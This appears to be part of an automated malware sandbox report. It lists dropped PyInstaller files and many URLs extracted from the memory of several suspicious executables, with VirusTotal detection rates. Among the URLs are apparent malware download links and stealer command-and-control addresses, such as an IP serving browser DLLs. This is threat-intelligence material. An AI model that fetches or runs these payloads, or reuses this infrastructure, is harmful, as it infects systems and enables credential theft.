C:\Users\user\AppData\Local\Temp\_MEI40602\_elementtree.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40602\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40602\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40602\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40602\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40602\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-console-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-datetime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-debug-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-errorhandling-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-file-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-file-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-file-l2-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-handle-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-interlocked-l1-1-0.dll	0%	ReversingLabs

Source	Detection	Scanner	Link
http://193.233.132.139/dacha/rules.exe	25%	Virustotal	Browse
http://185.172.128.23/8e6d9db21fb63946/nss3.dll	20%	Virustotal	Browse
http://185.172.128.23/f993692117a3fda2.phpt	16%	Virustotal	Browse
https://palberryslicker.sbs/	4%	Virustotal	Browse
https://baldurgatez.com/	3%	Virustotal	Browse
http://185.172.128.23/8e6d9db21fb63946/mozglue.dll	8%	Virustotal	Browse
http://185.172.128.23/8e6d9db21fb63946/sqlite3.dll	20%	Virustotal	Browse
http://www.innosetup.com	2%	Virustotal	Browse
http://sodez.ru/tmp/index.php	21%	Virustotal	Browse
https://triedchicken.net:80/cad54ba5b01423b1af8ec10ab5719d97.exe	5%	Virustotal	Browse
https://stats.vk-portal.net	0%	Virustotal	Browse
http://193.233.132.253/lumma1504.exe	23%	Virustotal	Browse
http://5.42.66.10/download/th/retail.phphps	20%	Virustotal	Browse
https://gigachadfanclub.org/	4%	Virustotal	Browse
http://uama.com.ua/tmp/index.php	17%	Virustotal	Browse
https://monoblocked.com/525403/setup.exexe	13%	Virustotal	Browse
https://urn.to/r/sds_see	0%	Virustotal	Browse
https://carthewasher.net/	15%	Virustotal	Browse
https://monoblocked.com/	15%	Virustotal	Browse
http://185.172.128.23/8e6d9db21fb63946/msvcp140.dll	8%	Virustotal	Browse
https://monoblocked.com/525403/setup.exe	14%	Virustotal	Browse
https://baldurgatez.com/7725eaa6592c80f8124e769b4e8a07f7.exexe	10%	Virustotal	Browse
http://talesofpirates.net/tmp/index.php	17%	Virustotal	Browse

Name	Malicious	Antivirus Detection	Reputation
http://sodez.ru/tmp/index.php	true	21%, Virustotal, Browse	unknown
http://uama.com.ua/tmp/index.php	true	17%, Virustotal, Browse	unknown
http://talesofpirates.net/tmp/index.php	true	17%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.172.128.23/f993692117a3fda2.phpt	NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001D22000.00000004.00000020.00020000.00000000.sdmp	false	16%, Virustotal, Browse	unknown
https://duckduckgo.com/chrome_newtab	zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2823051341.0000000006798000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2806766200.00000000066C8000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2804433882.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2805132778.0000000006240000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2801816472.0000000006201000.00000004.00000020.00020000.00000000.sdmp, NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000003.2539258847.0000000001D78000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ACVC.WPF.Service.Wcf/IOvpnProcessRunner/StopResponseR	nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp	false		unknown
http://193.233.132.139/dacha/rules.exe	qk9TaBBxh8.exe, 00000000.00000003.2141201425.000001D702104000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	false	25%, Virustotal, Browse	unknown
https://duckduckgo.com/ac/?q=	zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2823051341.0000000006798000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2806766200.00000000066C8000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2804433882.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2805132778.0000000006240000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2801816472.0000000006201000.00000004.00000020.00020000.00000000.sdmp, NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000003.2539258847.0000000001D78000.00000004.00000020.00020000.00000000.sdmp	false		high
https://db-ip.com/demo/home.php?s=81.181.57.52k	zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2932153038.00000000019C2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://carthewasher.net/fbdd1d2f6f7fd732cbea599f111537fe/cad54ba5b01423b1af8ec10ab5719d97.exed97.ex	qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701EE7000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701EE7000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701EE7000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701EE9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://t.me/RiseProSUPPORT_IDENTIFIER=Intel64	eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2819469412.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.172.128.23/8e6d9db21fb63946/nss3.dll	NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001CD5000.00000004.00000020.00020000.00000000.sdmp	false	20%, Virustotal, Browse	unknown
https://palberryslicker.sbs/	qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	false	4%, Virustotal, Browse	unknown
https://papi.vk.com/pushsse/ruim	qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2169327203.000001D70213F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://baldurgatez.com/	qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse	unknown
https://vk.com/doc5294803_668776833?hash=0O6PF91bZH66jRdVdr0Yhs0vV73FDPMFrSckqwaaZuH&dl=PH90vp0b08Gc	qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167644651.000001D701F18000.00000004.00000020.00020000.00000000.sdmp	false		high
https://vk.com	qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.instagram.com	qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D70224A000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.172.128.23/8e6d9db21fb63946/freebl3.dll3Mu	NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001D22000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.23/8e6d9db21fb63946/mozglue.dll	NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001D22000.00000004.00000020.00020000.00000000.sdmp	false	8%, Virustotal, Browse	unknown
https://st6-23.vk.com/dist/web/site_layout.20074c02.css	qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.172.128.23/f993692117a3fda2.phpb36fd1cef167f046e714b525b44eclt-release2949fc6aa0d2f9ea88e	NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3015167493.0000000000549000.00000040.00000001.01000000.0000000A.sdmp	false		unknown
https://st6-23.vk.com/dist/web/page_layout.7b5800c2.js	qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aui-cdn.atlassian.com/	qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F02000.00000004.00000020.00020000.00000000.sdmp	false		high
https://meet.crazyfigs.top/style/060.exeD	qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.23/8e6d9db21fb63946/sqlite3.dll	NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001D22000.00000004.00000020.00020000.00000000.sdmp	false	20%, Virustotal, Browse	unknown
http://www.innosetup.com	qk9TaBBxh8.exe, 00000000.00000003.2129915477.000001D702263000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2132941283.000001D70220C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130108191.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2132642581.000001D70230A000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2132761360.000001D7023EB000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2129915477.000001D7021D9000.00000004.00000020.00020000.00000000.sdmp, TUBbflj40zqtNIEKWH_MWjeG.exe, 00000012.00000000.2397793800.0000000000410000.00000002.00000001.01000000.00000011.sdmp	false	2%, Virustotal, Browse	unknown
http://ACVC.WPF.Service.WcfT	nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp	false		unknown
http://193.233.132.253/lumma1504.exeH	zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2932153038.00000000019C2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://st6-23.vk.com/dist/web/grip.0b3b493f.js	qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.253/lumma1504.exe	zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2935186807.0000000006678000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2935510140.0000000006790000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2819469412.0000000001366000.00000004.00000020.00020000.00000000.sdmp	false	23%, Virustotal, Browse	unknown
https://baldurgatez.com/~	qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://st6-23.vk.com/dist/web/polyfills.isolated.edaffb7b.js	qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ipinfo.io:443/widget/demo/81.181.57.52.	eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2819469412.0000000001366000.00000004.00000020.00020000.00000000.sdmp	false		high
https://carthewasher.net/R	qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2823051341.0000000006798000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2806766200.00000000066C8000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2804433882.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2805132778.0000000006240000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2801816472.0000000006201000.00000004.00000020.00020000.00000000.sdmp, NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000003.2539258847.0000000001D78000.00000004.00000020.00020000.00000000.sdmp	false		high
http://5.42.66.10/download/123p.exe.203/dl.php	qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://t.me/RiseProSUPPORT	eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2819469412.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2823051341.0000000006798000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2806766200.00000000066C8000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2804433882.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2805132778.0000000006240000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2801816472.0000000006201000.00000004.00000020.00020000.00000000.sdmp, NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000003.2539258847.0000000001D78000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bbuseruploads.s3.amazonaws.com/8b0be658-c958-47a3-96e4-fc8e5fe7c5dc/downloads/dc50f97b-477f-	qk9TaBBxh8.exe, 00000000.00000003.2130037595.000001D702241000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2126739049.000001D70218A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://carthewasher.net/fbdd1d2f6f7fd732cbea599f111537fe/cad54ba5b01423b1af8ec10ab5719d97.exejd	qk9TaBBxh8.exe, 00000000.00000003.2141201425.000001D7020E9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://triedchicken.net:80/cad54ba5b01423b1af8ec10ab5719d97.exe	qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp	false	5%, Virustotal, Browse	unknown
https://stats.vk-portal.net	qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2169327203.000001D70213F000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://meet.crazyfigs.top/F	qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://127.0.0.1:	nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp	false		unknown
http://185.172.128.23/8e6d9db21fb63946/msvcp140.dllkM-	NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001D22000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ipinfo.io/	eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2819469412.0000000001366000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gigachadfanclub.org/	qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	false	4%, Virustotal, Browse	unknown
http://5.42.66.10/download/th/retail.phphps	qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	false	20%, Virustotal, Browse	unknown
https://r.mradx.net	qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://baldurgatez.com/7725eaa6592c80f8124e769b4e8a07f7.exexe	qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	false	10%, Virustotal, Browse	unknown
https://cdn.cookielaw.org/	qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F02000.00000004.00000020.00020000.00000000.sdmp	false		high
https://st6-23.vk.com/dist/web/unauthorized.f646a9e2.js	qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	false		high
https://monoblocked.com/525403/setup.exexe	qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp	false	13%, Virustotal, Browse	unknown
https://urn.to/r/sds_see	nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2623125717.0000000003331000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://st6-23.vk.com/css/al/fonts_cnt.c7a76efe.css	qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175246907.000001D7021AC000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2169327203.000001D70213F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://static.vk.me	qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/moq/moq4	nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp	false		high
